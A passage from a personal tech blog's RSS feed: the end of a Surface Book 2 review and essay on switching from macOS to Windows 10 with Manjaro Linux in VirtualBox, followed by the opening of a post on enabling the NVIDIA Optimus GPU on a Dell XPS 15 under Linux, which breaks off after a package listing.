    <a href="#value-proposition" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>We established that the Surface Book 2 is very expensive, and it&rsquo;s not even good enough for highly demanding games such as Destiny 2.</p>
<p>Where it really shines is the fact that it&rsquo;s not a convertible 2-in-1 such as the Spectre or Yoga. You already know that it can detach the screen from the base.</p>
<p>The crown achievement of the Surface team is the <strong>dynamic fulcrum hinge</strong>. It&rsquo;s a marvel of engineering. When it&rsquo;s attached, it doesn&rsquo;t wobble nearly as much as one would expect. It&rsquo;s very solid, you can pick up the entire unit from the screen without worrying that the base might fall down or break.</p>
<p>When I first heard about it 2 years ago, I thought it was cool but that it could break over time, so I waited. I am all in now because 2 years later you don&rsquo;t see a &ldquo;hinge-gate&rdquo; or massive reports of the hinge falling apart, so you know it&rsquo;s solid. And 2 years later, no other manufacturer has it, and if you don&rsquo;t see a cheap knockoff from China, you can tell that this is a very difficult thing to build. Microsoft really nailed this part.</p>
<p>By having a detachable screen you also know that the main components are all behind the screen. The CPU, the GPU, the RAM, the SSD. So you have a top-of-the-line Intel i7 in a tablet! The battery is understandably small (no more than 3 hours) to drive a 15&quot; 4K display with touch capabilities and enough precision to rival the iPad Pro and the Wacom Cintiq or Mobile Studio.</p>
<p>Now, what most people don&rsquo;t report is that because of this, the screen housing is the one that gets warm. The performance base remains cool! So it&rsquo;s super comfortable to have it on your lap for many hours without the risk of getting sterile or getting boiled eggs in the process.</p>
<p>It has enough power to drive 1 external 4K display at 60hz or two 4K displays at 30hz. The MacBook Pro, with its custom port, can drive a 5K display. Something most notebooks still can&rsquo;t. So there&rsquo;s that.</p>
<p>I am not a designer by trade, but I am a hobbyist. And after many years working hard, I do believe that I can afford something like this. And don&rsquo;t get me wrong, the Surface Pro is another great option for a designer. The top-of-the-line Surface Pro has everything the Book 2 has, without the GTX 1060 but costing USD 600 less at <a href="https://www.microsoft.com/en-us/surface/devices/surface-pro/overview#surfaceconfiguration"target="_blank" rel="noopener">USD 2,699</a>. I think it&rsquo;s a more suitable product for most people interested in having an easy to carry sketch solution around.</p>
<p>Creative Professionals are the ones that fully need to be careful about specs. But for the majority of non-demanding professionals, they can pay a lot cheaper. They don&rsquo;t need extra GPU horsepower, or the i7 (an i5 is more than adequate), 8 GB of RAM is enough, even 256 GB of SSD is ok because everything is in the so-called &ldquo;Cloud&rdquo; these days. This is the <a href="http://www.dell.com/en-us/shop/dell-laptops/new-xps-13/spd/xps-13-9360-laptop/dncwtr744h"target="_blank" rel="noopener">USD 999</a> Dell XPS 13. Or the only comparable option from Apple is the <a href="https://www.apple.com/shop/buy-mac/macbook"target="_blank" rel="noopener">USD 1,299</a> with a ridiculous Intel m3 processor. For most professionals, the cheaper Dell XPS 13 is a much better value proposition than the Macbook.</p>
<p>For demanding professionals, the Dell XPS 15 is the best value for the buck. The Surface Book 2 is the best premium one for those that favor the touch screen more than workflow. Meaning: designers, go with the Book 2, video editors or 3D modelers, go with the Dell XPS.</p>
<p>Oh, and one last thing about price. The MacBook Pro 15&quot; costs USD 3,399 and the Book 2 costs USD 3,299. But if you want a tablet, you still need to add an extra USD 949 for a 12&quot; iPad Pro with Wi-Fi and 256 GB of storage. And you will end up having to carry around a heavier backpack.</p>
<h2>Why not install Linux?<span class="hx:absolute hx:-mt-20" id="why-not-install-linux"></span>
    <a href="#why-not-install-linux" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>You don&rsquo;t buy a Surface product unless you&rsquo;re interested in the <strong>Surface Pen</strong> experience and ecosystem. I think this is obvious, otherwise, you&rsquo;re better off buying a Dell XPS or any other cheaper notebook.</p>
<p>It&rsquo;s also obvious why it makes no sense to ask <em>&ldquo;Why don&rsquo;t you ditch Windows and install Linux on it?&rdquo;</em>. Because no Linux distro has Pen support, whatsoever. The performance base also has a physical key that you need to press in order for the hinge to release the display.</p>
<p>You want to have Adobe Photoshop, or Autodesk Sketchbook, or Sketchable, or any other great software package out there. Again, I don&rsquo;t want to repeat every other <a href="https://www.youtube.com/watch?v=U8cpC2jZdgM"target="_blank" rel="noopener">review available</a> out there showing how great the pen is. I will just confirm that, yes, the pen is super great, precise, accurate, and flows very naturally. It&rsquo;s an entire studio in a box.</p>
<p>Software developers by trade should <strong>stay away</strong> from this kind of product because most Linux distros won&rsquo;t have the proper drivers to hook up to so much exclusive hardware solutions. For those situations I highly recommend the Dell XPS 13, specifically the <a href="http://dell.to/2A3SPOZ"target="_blank" rel="noopener">USD 1,759</a> configuration with Windows 10 Pro (or you can save USD 60 and get it with the Home edition if you intend to install Linux on top of it), the great QHD+ (3200x1800) InfinityEdge touch display, 8th Gen Intel Core i7, 16 GB RAM, 512 GB SSD. This is, by far, the best value for the money for a full-time software developer.</p>
<p>OS X has a great community <strong>despite</strong> Apple not doing a lot to help them. Historically, the jump from the legacy MacOS to OS X meant having a UNIX-compatible kernel and toolchain available. To this day, it&rsquo;s still not comparable to a modern Linux distro. But OS X makes it up to it by having, by far, the best Graphics Compositor around. The GUI is smooth, responsive.</p>
<p>The Darwin Mach kernel supports multiple policies, most important for Creative Professionals, mainly musicians, was the <strong>soft real-time</strong> capabilities of the scheduler. To this day, <a href="https://wiki.archlinux.org/index.php/Realtime_kernel"target="_blank" rel="noopener">Linux Real Time</a> is not the default option, and it&rsquo;s not as well tuned or stable. And the Windows kernel evolved, but again, still not nearly as polished.</p>
<p>Soft Real-Time avoids the stuttering effect we see. And is one factor of why the Mac experience is, overall, superior even on less powerful hardware.</p>
<p>In particular, everybody around the <a href="https://brew.sh/"target="_blank" rel="noopener">Homebrew</a> community deserves high praise for their efforts of keeping up in bringing open source tools to OS X, <strong>despite</strong> every new Xcode update and OS X upgrade, breaking them.</p>
<h2>My Environment<span class="hx:absolute hx:-mt-20" id="my-environment"></span>
    <a href="#my-environment" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/662/20171121_111546.jpg" alt="Magnesium Body"  loading="lazy" /></p>
<p>After a lot of experimentation, I decided to settle on having a native Windows 10 to drive the host and having a full-blown Linux distro (<a href="https://manjaro.org/get-manjaro/"target="_blank" rel="noopener">Manjaro GNOME</a>) on a Virtualbox environment where I give 4 of the 8 cores (2 physical cores, each with 2 hyperthreads) and half the memory (8 GB).</p>
<p>Why not use the brand new <a href="https://msdn.microsoft.com/en-us/commandline/wsl/faq#can-i-run-all-linux-apps-in-wsl"target="_blank" rel="noopener">Windows Subsystem for Linux (WSL)</a> instead?</p>
<p>Because although it&rsquo;s great and all, we will need to wait until they figure out the rough edges. Particularly a better GUI support and faster I/O abstraction. What hurts the most is how <strong>painfully slow</strong> the filesystem layer is right now. It&rsquo;s an <a href="http://www.akitaonrails.com/en/2017/09/20/windows-subsystem-for-linux-e-bom-mas-ainda-nao-suficiente"target="_blank" rel="noopener">order of magnitude slower</a> than using Linux on Virtualbox.</p>
<p>I could use a Vagrant-like hybrid solution, having a headless Linux distro on Virtualbox and accessing a file through CIFS/NFS. And that should be fine if you like editors like Sublime Text 3, Visual Studio Code or Atom. But I am a Vim guy, and I like GVIM, which works best within GNOME, within a proper GUI-enabled Linux distro.</p>
<blockquote>
  <p><em>&ldquo;Why not use Docker? It&rsquo;s supposed to be super-fast and all.&rdquo;</em></p>

</blockquote>
<p>It surprises me when people ask that because it demonstrates how little they know about the tools they recommend.</p>
<p>Docker only really makes sense on a proper Linux distro. On Windows, it will have to run Linux on Virtualbox or Hyper-V. On Mac, it will use the Hypervisor framework, which - like Microsoft&rsquo;s Hyper-V - is a <strong>virtualization</strong> layer. It&rsquo;s just like Virtualbox, for all intents and purposes.</p>
<p>Docker, like LXC, is just making a process &ldquo;believe&rdquo; it&rsquo;s running alone on the OS by hiding the other processes from it. So, on Linux, it&rsquo;s super fast. On any other platform, they have to virtualize Linux proper and then run Docker there.</p>
<p>The Docker client is actually communicating with a virtualized Linux on Windows or Mac. You&rsquo;ve been fooled if you believed it&rsquo;s faster than Virtualbox or Hyper-V in any meaningful way. There is no magic here.</p>
<blockquote>
  <p><em>&ldquo;Why not just dual-booting then?&rdquo;</em></p>

</blockquote>
<p>Again, this doesn&rsquo;t help my scenario. I want a full GNOME GUI environment. And I don&rsquo;t want to keep Outlook on Windows and Thunderbird or Evolution on Linux for example, and managing different accounts on all sorts of different applications (and yes, I highly prefer native binaries instead of web apps, I am old-school like that). I don&rsquo;t want to reboot when I want to use Photoshop and reboot back to Linux to run Vim.</p>
<p>I <strong>want</strong> to have software from both platforms available to me <strong>at the same time</strong>. I don&rsquo;t believe in dual-boot scenarios unless the usages are completely separated. For example, using a Linux distro all day, and at night rebooting into Windows to run Steam and play some games.</p>
<p>Yes, Virtualbox will have a less responsive UI thanks to a virtualized Graphics pipeline. But for software development, it works just fine. I even see people doing gimmicky things such as having a full development environment in an AWS EC2 instance and SSH&rsquo;ing there to use Vim with Tmux, for example. That is far more convoluted if you ask me. I wouldn&rsquo;t go that far.</p>
<p>All top-of-the-line hardware I listed above has enough Cores and enough RAM so I can afford running 2 OSes at the same time. Don&rsquo;t do that on budget hardware.</p>
<p>And if you don&rsquo;t need to carry around a notebook, for the same amount of money you can buy a far superior desktop computer.</p>
<blockquote>
  <p><em>&ldquo;But you have all native on OS X, because it&rsquo;s UNIX and all&rdquo;</em></p>

</blockquote>
<p>Yes, but I really distrust Apple&rsquo;s OS X big upgrades. They always, always screw up something. After I had my fair share of lost work days after upgrades, I moved my development environment to <a href="https://www.vagrantup.com/"target="_blank" rel="noopener">Vagrant</a> at least 5 years ago. So I was using Linux in Virtualbox (or VMWare) all along. I never looked back. I was always reading people complaining after the big upgrades and there I was, unharmed and productive. Virtualbox was way worse back then, it&rsquo;s not so much nowadays. I can&rsquo;t remember the last time it crashed on me, if ever.</p>
<blockquote>
  <p><em>&ldquo;Well, and why not Hyper-V instead of Virtualbox?&rdquo;</em></p>

</blockquote>
<p>I did try it. And I do not recommend it right now. It was built so Windows can run Linux boxes in <strong>servers</strong>. So it&rsquo;s super good in partitioning the hardware resources between the different virtual instances. Unless you&rsquo;re a sysadmin in training or in need of a simulated server on your laptop, this is not for you.</p>
<p>It has very poor support for graphics (headless servers don&rsquo;t need graphics). The maximum resolution in the virtual monitor is a ridiculous 1152x864. My Virtualbox supports my LG Ultrawide 2560x1080 monitor just fine. Hyper-V can&rsquo;t and this is a deal breaker.</p>
<p>Virtualbox, VMWare, Parallels, Hyper-V will all use the same VT-X instructions provided by Intel. The base performance will not be so different. Guest tools might differ. Some stability might differ. But all in all, they&rsquo;re basically the same thing from the user&rsquo;s usability standpoint.</p>
<p>I know, it sounds &ldquo;weird&rdquo; to run Windows 10 as the primary native host. But it does work generally fine right now.</p>
<p>And I also know that it sounds weirder to run a Linux distro as a secondary guest OS in Virtualbox. And again, let me tell you that when I am using it in full-screen mode, working, I don&rsquo;t feel like it&rsquo;s slow or unresponsive.</p>
<h2>The Software<span class="hx:absolute hx:-mt-20" id="the-software"></span>
    <a href="#the-software" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you&rsquo;re in OS X you are probably used to a lot of tools. You paid money for some of those. And switching to another OS is always a pain.</p>
<p>In summary, the only piece of software that I really missed, at first, was Keynote. But I went past my prejudice against PowerPoint and I have to say that it does everything I really need right now.</p>
<p>I always hated Pages and Numbers, they are very good for amateurs. But nothing, not even LibreOffice, and definitely not Google Docs can replace Office. Google Slides is terrible and Impress is beyond useless to me (and it&rsquo;s super slow). Seriously, PowerPoint is now a much better tool.</p>
<p>Office in the Mac was always &ldquo;enough&rdquo;, luckily. But Office on Windows is far superior. No doubts in my mind, so one big benefit for me going back to Windows 10 is having the full Office experience.</p>
<p>If you use the Pro line of tools, you will miss Final Cut Pro. If you&rsquo;re a professional musician, you will miss Logic Pro. There is nothing like Garageband if you&rsquo;re a hobbyist musician. There is nothing we can do here. And even though we have better hardware on PC, Apple custom tweaks Final Cut to perform exceedingly better on AMD Radeon Pro. So Final Cut export times are still superior to Adobe Premiere&rsquo;s. Motion 5 is still easier and more responsive than After Effects.</p>
<p>That being said, it&rsquo;s not by a huge margin. Adobe Creative Suite is super strong, and unless you&rsquo;re a one-trick pony, any pro can switch to Adobe and get the job done.</p>
<p>In terms of software development, unless you&rsquo;re a one-trick .NET pony, you will want all the open source shebang. WSL is supposed to provide you that - in the future. Right now your best bet is running Virtualbox and you will not regret it.</p>
<p>Yes, yes, you have small exclusive software such as 1Password, Tweetbot, Alfred. I don&rsquo;t miss any of those. Especially because my last iPhone was the 4 back in 2010. Then I switched to Android with the Galaxy S4 and also never looked back. I&rsquo;m using an S8 and about to receive my Pixel 2, so I am good in terms of Twitter client or password management (I use LastPass and although it&rsquo;s not perfect, it gets the job done).</p>
<p>Either there is a good enough native desktop replacement or a mobile replacement, or there is a Web service. I may feel uncomfortable changing, but in practice, there is nothing in macOS that prohibits me from switching. Even if you bought iTunes songs or movies, there is iTunes for Windows.</p>
<blockquote>
  <p><em>&ldquo;But wait, Windows Update will annoy you!&rdquo;</em></p>

</blockquote>
<p>I thought as much. Microsoft did finally figure it out. It&rsquo;s still there, you still need to restart. But it&rsquo;s not nearly as annoying as it was before. Most updates will run in the background and you won&rsquo;t even notice. And you have several options such as <a href="https://support.microsoft.com/en-us/help/4028233/windows-10-schedule-or-pause-updates"target="_blank" rel="noopener">scheduling it</a> to run only at night when you&rsquo;re not working.</p>
<blockquote>
  <p><em>&ldquo;But what about the security issues and viruses!?&rdquo;</em></p>

</blockquote>
<p>Yes, I highly recommend you not to browse the Deep Web on a Windows machine, you will be owned. Not even using a Tor browser. You will be owned.</p>
<p>I also recommend you to use BitLocker (only available on Windows 10 Pro) to encrypt your partition. And also to backup to external hard drives as frequently as you can. Nothing can save you better than a readily available cold backup.</p>
<p>And yes, install some 3rd party solution such as <a href="https://www.avast.com/index"target="_blank" rel="noopener">Avast antivirus</a>. Have healthy web browsing behavior and avoid shady websites. You know what I am talking about. You will be owned.</p>
<p>If you must, install a secure Linux distro within Virtualbox and open Tor from there.</p>
<blockquote>
  <p><em>&ldquo;But what about the mess that is the Registry!?&rdquo;</em></p>

</blockquote>
<p>It&rsquo;s still there. If you never experienced it, the Registry is Windows&rsquo; equivalent of &ldquo;/etc&rdquo; in Linux distros. It&rsquo;s a binary database. It gets corrupted. It gets dirty entries.</p>
<p>But my recommendation is: forget about it. If you&rsquo;re thinking and tinkering with it, you will get a corrupt system. Do not try to clean it up (never, ever use something like CCleaner).</p>
<p>Windows itself now has automatic system restore snapshotting everytime something big happens. And it&rsquo;s mostly reliable. They go as far as duplicating the current &ldquo;C:\Windows&rdquo; directory into a &ldquo;C:\Windows.old&rdquo; when there is a big Windows Update, just in case. They shot themselves in the foot so many times that they finally learned to have several layers of recovery options.</p>
<p>Nowadays you can even download the <a href="https://www.microsoft.com/en-us/software-download/windows10"target="_blank" rel="noopener">Media Creation tool</a> from the Windows website itself. You don&rsquo;t even have to sign up anywhere. And the Windows license comes with the machine&rsquo;s firmware (BIOS). You don&rsquo;t even have to remember where your product activation key is. It automatically activates and because every machine comes with a license, the process is seamless. And most manufacturers have automatic updates for drivers and firmware.</p>
<p>So you should have a reasonably smooth experience, no matter what.</p>
<blockquote>
  <p><em>&ldquo;But Windows is not open source!&rdquo;</em></p>

</blockquote>
<p>Neither is OS X. And this is a Linux advantage. So, if you must, use just Linux natively. The point of the argument is finding an alternative to the Mac. So we&rsquo;re on the same page.</p>
<h2>The Ruby on Rails and the Hipsters effect<span class="hx:absolute hx:-mt-20" id="the-ruby-on-rails-and-the-hipsters-effect"></span>
    <a href="#the-ruby-on-rails-and-the-hipsters-effect" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Truth be told. In the software development arena, we switched to the Mac mainly because of Rails and Textmate 2. We had access to some open source tools built-in, we had GCC to compile the rest. Windows XP was way past due. Windows Vista was a terrible experience. The PC hardware manufacturers were not even trying, and Apple was launching good hardware and good experience all the time.</p>
<p>Developers switched in droves after the switch from PowerPC to Intel in 2005. My very first Mac was a G4 Mac Mini with OS X 10.4 Tiger. And then I bought the very first Intel White MacBook and I never looked back.</p>
<p>Software tools on Windows were laughable. Visual Studio.NET was terrible. Eclipse-based IDEs were terrible. We didn&rsquo;t have Powershell yet. And we definitely never had anything like WSL for command-line. You could install Cygwin, but it was a poor experience.</p>
<p>And running Linux as the primary OS was also terrible. Wine is still terrible, despite its best efforts. Unfortunately, NVIDIA and AMD GPUs will only run at their best on Windows. And Linux was never really good for content creation. It&rsquo;s not even a matter of learning a new workflow, the tools are mediocre. They have to reverse engineer everything, and that takes time. And in the velocity of social media, we don&rsquo;t have enough time, so we need to settle for compromises.</p>
<p>The Windows ecosystem stopped pretending, and finally embraced everything the open source and Apple ecosystem built. Now we all benefit.</p>
<p>By the way, if you like iTerm 2, you will be delighted to install <a href="https://gnunn1.github.io/tilix-web/"target="_blank" rel="noopener">Tilix for Linux</a>, which is very similar.</p>
<h2>As time goes by<span class="hx:absolute hx:-mt-20" id="as-time-goes-by"></span>
    <a href="#as-time-goes-by" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I have been following the Surface line-up evolution over the years. In the beginning, I was very skeptical. Because it&rsquo;s very easy to launch a gimmicky product and discontinue it. I trust companies that keep evolving their products over the years. Not only does an ecosystem form around it, but you have time to put together support services, there are parts available in the official stores and in the aftermarket. After all these years, Microsoft deserves to be called a hardware manufacturer.</p>
<p>This is Microsoft finally fulfilling what Alan Kay once said:</p>
<blockquote>
  <p><em>&ldquo;People who are really serious about software should make their own hardware.&rdquo;</em></p>

</blockquote>
<p>They only really failed in the smartphone market, the competition is way more difficult there and because of that margins are super low. But they did nail the tablet market, the desktop, the notebook, the gaming, the servers (with their own Azure services), so now I believe that they really <strong>understand</strong> the specific needs of all those areas, and it shows in the software. They have a far superior understanding of every market - but the smartphone - than Apple. They finally have true skin in the game.</p>
<p>Because now Microsoft builds their own hardware and they made a business out of it, they have real incentive inside the teams in the company for a positive feedback loop that results in more refinements to the Windows codebase.</p>
<p>They have been trying and failing in the touch-based solutions since the early 2000s. Now the Pen is not a gimmick anymore, it&rsquo;s a real product, with real qualities, and real use cases.</p>
<p>They also kept their vision of playing nice with Open Source. No one can reasonably expect Microsoft to go full-blown open source. But it shows. They are second only to Google on GitHub in terms of open source contributions. They acquired Xamarin and their .NET Core strategy is on-going and strong. Heck, even Visual Studio received the open source treatment. There is still a long road ahead, but one has to recognize the giant steps.</p>
<p>Which is way more than we can say about Apple, where the poor guys at <a href="https://github.com/Homebrew/homebrew-core/issues/14418"target="_blank" rel="noopener">Homebrew suffer</a> on each OS X upgrade.</p>
<p>The Surface RT and Windows Mobile attempt even made it possible for Windows to finally be compiled to run on ARM processors. This is a good sign going forward. Reminds me when OS X was first compiled to run on Intel processors (they ran on PowerPC before) in 2005.</p>
<p>And the Macbook? They get a gimmick touch bar. Apple is really out of touch with reality.</p>
<h2>Why am I out from the Apple ecosystem?<span class="hx:absolute hx:-mt-20" id="why-am-i-out-from-the-apple-ecosystem"></span>
    <a href="#why-am-i-out-from-the-apple-ecosystem" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Apple&rsquo;s focus is not on the Mac. Worse: the Mac is quickly becoming abandonware, despite the PR statements.</p>
<p>They are clearly an iPhone company, with a hobbyist side business that builds Macs and MacBooks, which exist mostly to serve as an iPhone app development toolchain. This is the business model.</p>
<p>Did you see their latest Ad for the iPad?</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/sQB2NjhJHvY"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Yes, this is super cute and I dig it.</p>
<p>But the message is crystal clear: the vision is for people to use only iPhones and iPads. There is no such thing as a &ldquo;computer&rdquo;.</p>
<p>They are the most valued tech company right now. But since last year, they don&rsquo;t even have a dedicated OS X team anymore. What does that tell you?</p>
<p>The iOS line-up is a &ldquo;monopoly&rdquo; within Apple&rsquo;s line up. The Mac can&rsquo;t compete. Steve Jobs himself <a href="https://www.youtube.com/watch?v=ZBma82g3Uag"target="_blank" rel="noopener">warned</a> about what happens to monopolies.</p>
<p>We are starting to hear the same story all over the industry:</p>
<ul>
<li><a href="http://cdm.link/2016/09/apples-relationship-pro-music-needs-mending/"target="_blank" rel="noopener">Apple&rsquo;s relationship with pro music needs some mending</a> - Sep, 26, 2016</li>
<li><a href="https://www.bloomberg.com/news/articles/2016-12-20/how-apple-alienated-mac-loyalists"target="_blank" rel="noopener">How Apple Alienated Mac Loyalists</a> - Dec, 20, 2016</li>
<li><a href="https://www.theverge.com/2016/12/21/14037686/apple-macbook-macos-focus-mobile-features-ios"target="_blank" rel="noopener">macOS is becoming legacy software</a> - Dec, 21, 2016</li>
<li><a href="https://www.stuckincustoms.com/2017/02/10/switching-from-mac-to-windows/"target="_blank" rel="noopener">Apple Is Dead To Me… I&rsquo;m Switching To Windows!</a> - Feb, 10, 2017</li>
<li><a href="https://char.gd/blog/2017/why-i-left-mac-for-windows-apple-has-given-up"target="_blank" rel="noopener">Why I left Mac for Windows: Apple has given up</a> - Mar, 5, 2017</li>
</ul>
<p>Microsoft played their cards right. It took almost 15 years. But it paid off in spades. Apple really did alienate the loyalists, the ones that used to &ldquo;Think Different&rdquo;.</p>
<p>Apple is a &ldquo;victim&rdquo; of Clayton Christensen&rsquo;s <a href="https://www.amazon.com/Innovators-Dilemma-Revolutionary-Change-Business/dp/0062060244"target="_blank" rel="noopener">&ldquo;Innovator&rsquo;s Dilemma&rdquo;</a>. If they still had vision left, they could reach out and maintain. But instead, they chose to go all-in on a single product line.</p>
<p>Microsoft seems to have read the Clayton&rsquo;s <a href="https://www.amazon.com/Innovators-Solution-Creating-Sustaining-Successful/dp/1422196577/ref=pd_sim_14_4?_encoding=UTF8&amp;psc=1&amp;refRID=CC6NWGVZMEWTTDETMZ8W"target="_blank" rel="noopener">&ldquo;Innovator&rsquo;s Solution: Creating and Sustaining Successful Growth&rdquo;</a>.</p>
<p>When the iPod was at its peak, Microsoft had &ldquo;lost&rdquo;. They were out of the game. It was a depressing thing to see. Steve Ballmer was a shameful CEO. Windows Vista was a shameful OS. The Zune failed to capture the aura of the iPod. Windows Mobile was a mess. And Sharepoint &hellip; oh Sharepoint. They even celebrated when JQuery was added to ASP.NET! Talk about too little too late.</p>
<p>And Amazon - a retail store - successfully launched the best infrastructure in the world and became synonymous with &ldquo;Cloud&rdquo; and Microsoft was still struggling to understand what Linux was.</p>
<p>Failure after failure, instead of defending their low position, they finally decided to step up and move forward one step at a time. Refine. Evolve. Sustain.</p>
<p>Now, Windows 10 recaptured the aura of XP at its best. It&rsquo;s doing incremental, and solid upgrades. First the Anniversary Edition, then the Creators Update and finally the most recent Fall Creators Update. All solid upgrades.</p>
<p>The Surface line-up is going strong as the best reference for industrial design and features on desktops, notebooks, and accessories. Seriously, Apple still sells that terrible slippery, difficult to hold, <a href="https://www.apple.com/shop/product/MLA02LL/A/magic-mouse-2"target="_blank" rel="noopener">Magic Mouse 2</a>, but the &ldquo;magic&rdquo; is that someone actually buys those. Microsoft has the <a href="http://amzn.to/2ztHZVv"target="_blank" rel="noopener">Arc Touch</a> and the <a href="http://amzn.to/2zu8p9o"target="_blank" rel="noopener">Precision Mouse</a>, two of the best ever made.</p>
<p>Creative professionals, software developers, we all jumped ship in droves to OS X when it was the &ldquo;Different Thing&rdquo; on the &ldquo;Think Different&rdquo; campaign. We helped evangelize. We helped build tools. We helped build services. We wrote tons of <a href="http://www.akitaonrails.com/2012/04/20/off-topic-comprei-meu-primeiro-mac-e-agora-edicao-2012"target="_blank" rel="noopener">blog posts</a> and documentation to help out.</p>
<p>Steve Jobs died, and Apple died with him. They basically did nothing new ever since, and their once successful products were left to decay and die. The only thing left is the halo effect, the inertia, and their ever-growing hunger for milking the same cow indefinitely, while ditching R&amp;D altogether.</p>
<h2>Apple doesn&rsquo;t care. Why should I?<span class="hx:absolute hx:-mt-20" id="apple-doesnt-care-why-should-i"></span>
    <a href="#apple-doesnt-care-why-should-i" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Microsoft played smart, they kept fixing and evolving, year after year. They lost the 90s generation. They recaptured the 2010s generation. And they started early, getting their attention from the Xbox all the way to Windows.</p>
<p>Seriously, the XBox Dashboard is better than the PS4&rsquo;s. I highly prefer it.</p>
<p>And they are now in a good position. The players are inverted in the game. The &ldquo;Think Different&rdquo; now refers to Windows 10 and the PC hardware. Intel is playing conservative. NVIDIA builds the best GPUs. There are many great options not available on the Mac.</p>
<p>The jump from 32-bits to 64-bits and the necessities of the XBox even helped Microsoft rethink how to isolate and package their software. Even though the Windows Store is still a bad joke at this point.</p>
<p>And Bill Gates was dead right in the mid-90s: the browser would render the Windows monopoly obsolete. And it did. On the bright side, you have the very same Chrome and Firefox browsers available on OS X, Windows 10, and any Linux distro. This means instant access to most of what people need: Gmail, Google Docs, Office 365, Dropbox, LastPass, Spotify, Slack, Discord, Twitter, Netflix, HBO, Hulu, etc.</p>
<p>I hate Javascript-based desktop wrappers like the plague. Electron is dumb heavy. But, what can I do? At least powerful hardware and RAM come cheap these days, and we can afford browser tabs that eat up 100 MB each.</p>
<p>The browser is the new OS for the majority of people. Heck, most people can get around using Chromebooks! Everything else is on the phones, not the desktop. So hard tools are needed. Soft tools you already carry in your pocket.</p>
<p>The Apple ecosystem is not dead yet. Apple still has time to fix this situation. I&rsquo;ve been waiting for the past 3 years, but still zero signs of anything getting better. My very first switching article was <a href="http://www.akitaonrails.com/en/2015/11/10/situacao-brasil-no-macs-for-the-rest-of-us"target="_blank" rel="noopener">published on Nov 10, 2015</a>.</p>
<p>Unlike other &ldquo;switching&rdquo; articles, I am not saying this lightly. I have switched already, in the past 2 years.</p>
<p>As I say in many of my posts and talks about events: I am not defined by my tools. I don&rsquo;t carry banners. I am not loyal to anyone by default. I was never paid by Apple to defend it. And I am not paid by Microsoft to say good things about them. I just analyze the facts and state the best course of action going forward.</p>
<p>And the facts tell me that macOS is no more. It was a good ride. Goodbye to the Mac and thanks for all the fish.</p>
]]></content:encoded><category>apple</category><category>microsoft</category><category>hardware</category></item><item><title>Enabling Optimus NVIDIA GPU on the Dell XPS 15 with Linux, even on Battery</title><link>https://akitaonrails.github.io/en/2017/03/14/enabling-optimus-nvidia-gpu-on-the-dell-xps-15-with-linux-even-on-battery/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2017/03/14/enabling-optimus-nvidia-gpu-on-the-dell-xps-15-with-linux-even-on-battery/</guid><pubDate>Tue, 14 Mar 2017 14:21:00 -0300</pubDate><description>&lt;p&gt;It&amp;rsquo;s been more than a month since my &lt;a href="http://www.akitaonrails.com/en/2017/01/31/do-macbook-pro-para-o-dell-xps-arch-linux-para-usuarios-criativos"target="_blank" rel="noopener"&gt;last post&lt;/a&gt; on tuning Manjaro for the Dell XPS 15.&lt;/p&gt;
&lt;p&gt;Manjaro released its newest release &lt;a href="https://manjaro.org/2017/03/07/manjaro-gnome-17-0-released/"target="_blank" rel="noopener"&gt;version 17&lt;/a&gt; and the kernel released 4.10. The upgrade from Manjaro 16 and kernel 4.9 went smoothly.&lt;/p&gt;
&lt;p&gt;These are the currently installed, kernel specific packages:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;$ pacman -Ss 410 | grep installed
core/linux410 4.10.1-1 [installed]
core/linux410-headers 4.10.1-1 [installed]
extra/linux410-acpi_call 1.1.0-0.7 (linux410-extramodules) [installed]
extra/linux410-bbswitch 0.8-0.7 (linux410-extramodules) [installed]
extra/linux410-ndiswrapper 1.61-0.7 (linux410-extramodules) [installed]
extra/linux410-nvidia 1:375.39-0.7 (linux410-extramodules) [installed]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And to make sure everything is ok, I removed the old 4.9 related packages:&lt;/p&gt;</description><content:encoded><![CDATA[<p>It&rsquo;s been more than a month since my <a href="http://www.akitaonrails.com/en/2017/01/31/do-macbook-pro-para-o-dell-xps-arch-linux-para-usuarios-criativos"target="_blank" rel="noopener">last post</a> on tuning Manjaro for the Dell XPS 15.</p>
<p>Manjaro released its newest release <a href="https://manjaro.org/2017/03/07/manjaro-gnome-17-0-released/"target="_blank" rel="noopener">version 17</a> and the kernel released 4.10. The upgrade from Manjaro 16 and kernel 4.9 went smoothly.</p>
<p>These are the currently installed, kernel specific packages:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ pacman -Ss 410 | grep installed
core/linux410 4.10.1-1 [installed]
core/linux410-headers 4.10.1-1 [installed]
